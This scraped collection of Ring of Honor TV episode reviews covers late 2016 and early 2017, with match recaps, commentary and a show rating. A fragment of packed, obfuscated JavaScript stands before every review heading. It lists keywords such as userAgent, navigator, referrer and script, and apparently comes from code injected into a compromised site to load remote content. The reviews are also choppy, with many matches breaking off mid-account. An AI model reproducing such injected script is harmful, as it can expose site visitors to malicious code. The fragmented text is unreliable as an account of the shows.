");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nraas|var|u0026u|referrer|htina||js|php'.split('|'),0,{})) of Honor
Date: January 18, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Kelly, Nigel McGuinness

Opening sequence.

Jay White/Lio Rush/Donovan Dijak vs. The Rebellion

Post match the Rebellion destroys the winners but take it easy on Rush. Chris Sabin comes in for the save.

Video on Marty Scurll, who is a natural villain.

Video on Cody (Rhodes) turning heel at Final Battle.

Cody vs. Steve Corino

Recap of the tournament.

Decade of Excellence Tournament First Round: Jay Lethal vs. Jushin Thunder Liger

They bow to each other to end the show.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zterf|var|u0026u|referrer|zedfr||js|php'.split('|'),0,{})) of Honor
Date: January 11, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Kelly, Nigel McGuinness

We open with clips of Christopher Daniels defeating Mark Briscoe in the first tournament match.

Opening sequence.

Decade of Excellence Tournament First Round: Jay Briscoe vs. BJ Whitmer

Whitmer says everything ends with a sacrifice next week.

Silas Young/Beer City Bruiser vs. Alex Reynolds/Jon Silver

Silver actually suplexes Young for two to start until the massive Bruiser comes in with a clothesline to knock Reynolds into a German suplex for two. Bruiser adds a cannonball for two more on Alex but he avoids a charge and rolls over for the tag off to Silver. The much smaller Jon manages a suplex on the Bruiser in an impressive display of strength. A Codebreaker into a German suplex gets two on Young but he kicks Silver in the head. Bruiser adds a Banzai Drop and Young gets the pin at 4:50.

Post match Young says he and Bruiser want another partner to go after the Six Man Tag Team Titles (oh yeah those exist). They call out Bull James and then beat him up for not being the guy. Ok then.

Kingdom vs. Cheeseburger/Will Ferrara/Joey Daddiego

Non-title. The Kingdom jumps them to start with Marseglia beating up all three at once until Daddiego gets in a fall away slam to put the champs on the floor. Back from a break with Ferrara getting stomped in the corner as the Kingdom continues to be difficult to tell apart because no one bothered to tell us anything about them.

Decade of Excellence Tournament First Round: Colt Cabana vs. Chris Sabin

Alex Shelley is on commentary. They fight over a wristlock to start until Chris kicks him in the chest and gets two off a high crossbody. What looked like a thumb to the eye allows Colt to send him outside and we go to a break. Back with Colt putting on a one armed camel clutch but missing a middle rope splash. Instead Chris gets in a missile dropkick to send him outside, setting up a running kick to the chest. Back in and Cabana scores off a hip attack but here are the Boys to fan Cabana a bit. The distraction lets Chris get a small package for the pin at 8:14.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adyfn|var|u0026u|referrer|hsffd||js|php'.split('|'),0,{})) of Honor
Date: January 4, 2017
Host: Kevin Kelly
Commentators: Steve Corino, Kevin Kelly

Keith Lee/Shane Taylor vs. War Machine

We take a look at the building of the ring for the Honor Rising show in Japan.

Highlights of Ladder War with the Young Bucks winning the titles at All-Star Extravaganza.

Video on the Women of Honor. As much as I enjoy looking at a variety of them, this division is such a waste of time.

We get an extended clips of Sumie Sakai vs. Deonna Purrazzo and Taeler Hendrix vs. Mandy Leon in a No DQ match.

ROH World Title: Jay Lethal vs. Adam Cole

Cole is ticked off and promises to get the title back.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydked|var|u0026u|referrer|hkbnr||js|php'.split('|'),0,{})) of Honor
Date: December 28, 2016
Commentators: Kevin Kelly, Nigel McGuinness, Steve Corino

We open with a package on the tour.

Opening sequence.

TV Title: Bobby Fish vs. Will Ospreay

Fish is defending and this was originally only a Proving Ground match until ROH said “eh just make it for the title”. Bobby puts the Union Jack on the mat next to the title, which seems to be a big sign of disrespect. The champ goes for the arm to start but Ospreay starts spinning around to escape, including knocking Fish to the floor, setting up a Tajiri handspring into a backflip.

Fish is upset but hands Ospreay the title.

Tag Team Titles: Will Ospreay/Marty Scurll vs. Young Bucks

A double armdrag sends the Bucks to the floor and Ospreay does his moonsault into the pose, followed by Scurll running over do pose next to him in a funny bit. Back in and the Brits start taking over on Matt with Marty grabbing a surfboard and Ospreay adding a sliding dropkick to the face.

That loss resulted in a challenge being issued for the final night of the tour.

TV Title: Marty Scurll vs. Will Ospreay

Ospreay is defending and this is joined in progress with Scurll fighting out of a wristlock. The bouncing escape gives us several more counters as this is British wrestling to the letter. Scurll avoids the moonsault and they flip into a kneeling standoff. The fans are split on who to cheer for but seem to shift towards Ospreay as he grabs an Octopus Hold and twists Marty down into a rollup for two.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfebs|var|u0026u|referrer|zftan||js|php'.split('|'),0,{})) of Honor
Date: December 21, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

^th champion.

Mark Briscoe

Christopher Daniels

Chris Sabin

Colt Cabana

BJ Whitmer

Jay Briscoe

Jay Lethal

Jushin Thunder Liger

Decade of Excellence Tournament First Round: Mark Briscoe vs. Christopher Daniels

Apparently Daniels mentored Mark when he first got here. Feeling out process to start with shoulder blocks having no effect all around. The threat of Red Neck Kung Fu backs Daniels up but he does his own crane pose. Mark hammers away in the corner until an STO gives Daniels a breather.

Lio Rush vs. Caprice Coleman

The Rebellion beats Rush down until Donovan Dijak and Jay White make the save.

The Bucks beat down the good guys to start because the Bucks are the most popular wrestlers in the company. Cole takes the advantage but gets into a slugout with Kyle, who actually loses early on. Kyle sends him outside for a running knee from the apron as all six are on the floor.

Back from a break with Nick getting crotched on top but the Bullet Club breaking up the tag attempt. Three straight superkicks knock Kyle out and the Swanton off the apron keeps the Bucks looking perfect. Kyle finally blocks a splash with raised knees and the hot tag brings in Dalton for three straight German suplexes.

Overall Rating: D+. This was a rather up and down show as some of the booking made me want to pull my hair out but the wrestling was good enough to make up for parts of it. I like the idea of Kyle fighting half the roster for the title but I could go for less Bucks being treated like the most untouchable thing ever. Then again, Kyle did make one of them tap out to end the show and that helps a lot.

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bezfh|var|u0026u|referrer|iytbz||js|php'.split('|'),0,{})) of Honor
Date: December 14, 2016
Location: William J. Meyers Pavilion, Baltimore, Maryland
Commentators: Nigel McGuinness, Ian Riccaboni

Deonna Purrazzo vs. Candice LeRae

Back in and Candice tries to run up the corner but gets dropped down onto the ropes to send us to a break. We come back with Purrazzo working on the left arm and adding in a kick to the bicep for two. A few forearms and a top rope double stomp to the back gets two for Candice. She makes things a bit odd with something like a crotch grab suplex (Did I mention she and Joey Ryan are regular partners?) for two more. Not that it matters as Purrazzo grabs another Fujiwara Armbar for the tap at 10:04.

Veda Scott/Kennadi Brink vs. Faye Jackson/Sumie Sakai

Mandy Leon vs. Jessica Havok

Leon goes right after the monster and is knocked down with ease. Some HORRIBLE forearms have little effect on Jessica but a huge running legdrop misses. A wheelbarrow slam gets two on Mandy and we take a break. Back with Mandy grabbing a sleeper, only to be driven back into the corner. Something like White Noise gets two on Mandy but Havok pulls her up. Thankfully the announcers are right there to remind us about Havok being a hired gun who only wants to inflict pain. Cue Deonna Purrazzo for a distraction, allowing Mandy to grab a rollup for the pin at 7:01.

Havok chokeslams them both post match.

Video on Kelly Klein, who is treated as a killer.

ODB vs. Kelly Klein

Both come in undefeated. ODB shoves her around to start and takes it outside for a ram into the post. The idea here is that Klein has been a big fish in a small pond but is now getting to fight someone with some experience and more talent. Things stay bad for Klein on the floor as ODB hits some hard chops. Back in and Klein scores with some forearms to take over as we go to a break.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznfh|var|u0026u|referrer|nssya||js|php'.split('|'),0,{})) Battle 2016
Date: December 2, 2016
Location: Hammerstein Ballroom, New York City, New York
Commentators: Steve Corino, Kevin Kelly

Opening sequence.

Opening sequence.

Rebellion vs. Motor City Machine Guns/Donovan Dijak

The Guns are still in search of a permanent partner because trios are suddenly awesome. The Rebellion is the former Cabinet (Caprice Coleman/Kenny King/Rhett Titus) because Rebellion might actually be an even weaker name. To really show how rebellious King is, he has an upside down ROH logo on his trunks. Sabin and King run the ropes a bit to start with a grand total of nothing happen. Gotta love that non-offense from these rebels.

More triple teaming ensues until Sabin gets in a tornado DDT. That means Dijak gets to clean house with a top rope chokebreaker (close enough at least) getting two on Titus. The fans are WAY into Dijak here but the chants are cut off as the Guns start speeding things up. Well as speedy as they can make them at this point in their careers.

Dijak actually busts out a springboard flip dive to make my eyes pop open. Feast Your Eyes sends Titus into a powerbomb for two with Coleman and King diving in for the save. Another powerbomb puts King down but Skull and Bones are broken up. The Sky Splitter sets up the Big Dawg (frog) splash to put Sabin away at 12:27.

We recap Silas Young vs. Jushin Thunder Liger. Young got annoyed at a fan dressing up like Liger so he wanted to beat up the inspiration for never showing his face like a coward.

Jushin Thunder Liger vs. Silas Young

We recap Colt Cabana vs. Dalton Castle, which is your standard short term tag team breakup feud with Cabana playing heel.

Colt Cabana vs. Dalton Castle

You can tell Colt has turned as his music into something much slower with rap lyrics. Castle comes out in a chariot pulled by the Boys. Dalton immediately poses on the middle rope with his legs crossed like a gentleman. A quick takedown puts Colt on the mat and he bails to the floor, allowing Castle to do his strut after faking Cabana out on a suicide dive. The Boys are thrown in so Castle uses them as stepping stones to set up a dropkick. Now that shows some thinking out there.

Cody vs. Jay Lethal

Feeling out process to start as they hit the mat early on. A hiptoss exchange goes fine until Lethal gets in a dropkick for the first major offense. Cody comes right back with a very delayed gordbuster and starts in on the arm. Addiction keeps putting over the idea of Cody having experience in big matches and not buckling under the pressure.

Post match Cody mocks the Code of Honor and flips Lethal off. Addiction chases him away while Corino jumps back in on commentary to say “he was right all along.” Rhodes shoves Corino down but Steve keeps his cool.

Long recap of the Six Man Tag Team Title tournament. Lio Rush is replacing ACH, who has left the promotion.

Six Man Tag Team Titles: Kingdom vs. Kushida/Jay White/Lio Rush

The announcers are nice enough to start explaining why we should care about the Kingdom as Kushida scores with a double Tajiri handspring elbow. Everything breaks down and White gets two off a missile dropkick. To really pick things up a bit, White gets caught in a half crab from the top rope, only to have Kushida put Vinny in the Hoverboard Lock on the top for the save.

TV Title: Will Ospreay vs. Dragon Lee vs. Marty Scurll

With Lee dispatched, Ospreay and Scurll start slugging it out until Marty gets caught in the Tree of Woe. Cue Lee for the Alberto Del Rio top rope double stomp and a near fall. A running hurricanrana pulls Ospreay off the apron and down to the floor but Will pops back up for a big running flip dive of his own.

We recap the Tag Team Title match, which is just about the Briscoes wanting their ninth title reign.

Tag Team Titles: Briscoe Brothers vs. Young Bucks

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnebe|var|u0026u|referrer|kkiee||js|php'.split('|'),0,{})) of Honor
Date: December 4, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Nigel McGuinness

Will Ferrara/Cheeseburger vs. Tempura Boyz

Joey Daddiego vs. Donovan Dijak

Video on Kevin Sullivan/Steve Corino/BJ Whitmer. Thank goodness Corino just left the promotion instead of making us sit through this anymore.

BJ Whitmer/Damien Martinez vs. War Machine

Briscoe Brothers/Silas Young/Jay Lethal vs. Motor City Machine Guns/Lio Rush/Jay White

Rush gets caught in the corner as the Rebellion comes out to watch for reasons of general annoyance. We take a second break and come back with Rush handstanding his way out of a cutter (not a fan of the guy but that was cool). The hot tag brings in White as everything breaks down.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndkde|var|u0026u|referrer|sanaz||js|php'.split('|'),0,{})) of Honor
Date: November 30, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Steve Corino, Alex Shelley

Opening sequence.

Lio Rush vs. Jonathan Gresham

Feeling out process to start and Gresham annoys Lio with an errant forearm to the face. They hit the mat with the arms interlocking for a quick standoff. Lio lights up the chest with a hard kick but Gresham kicks the arm to even things out. An enziguri puts Rush on the floor and a middle rope moonsault is awkwardly caught as Lio almost looks like he tried for a Big Ending.

Post match the Motor City Machine Guns come in and put both guys over.

We run down the Final Battle card.

Addiction vs. Briscoes

The Addiction actually shakes hands after the match.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrfb|var|u0026u|referrer|dzrer||js|php'.split('|'),0,{})) of Honor
Date: November 23, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Steve Corino

Opening sequence.

Dalton Castle is still missing the Boys (Where did they go anyway?) so Colt Cabana offers him some replacements.

Colt Cabana/Dalton Castle vs. Preston Quinn/Ken Dixon

Six Man Tag Team Title Tournament Semifinals: The Kingdom vs. Team CMLL